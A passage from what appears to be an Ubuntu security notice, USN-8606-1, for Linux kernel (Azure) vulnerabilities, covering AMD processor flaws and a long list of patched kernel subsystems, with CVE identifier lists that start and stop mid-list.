CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64164)

USN-8606-1: Linux kernel (Azure) vulnerabilities

Fri, 24 Jul 2026 14:17:41 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - RNBD block device driver; - Ublk userspace block driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clock framework and drivers; - Clocksource drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPIO subsystem; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - Broadcom VK accelerator driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MOST (Media Oriented Systems Transport) drivers; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Performance monitor drivers; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Power supply drivers; - RapidIO drivers; - RAS (Reliability, Availability, Serviceability) subsystem; - Remote Processor subsystem; - RPMSG subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - MediaTek SoC drivers; - Microchip PolarFire SoC system controller driver; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - ChipIdea USB driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - DesignWare USB3 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - USB over IP driver; - vDPA drivers; - VFIO drivers; - Virtio Host (VHOST) subsystem; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - JFS file system; - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Audit subsystem; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - RCU subsystem; - Scheduler infrastructure; - Cryptographic library; - Scatterlist API; - Heterogeneous memory management; - KASAN memory debugging framework; - 9P file system network protocol; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - KCM (Kernel Connection Multiplexor) sockets driver; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Landlock security; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229, CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269, CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286, CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292, CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304, CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218, CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238, CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244, CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249, CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253, CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, 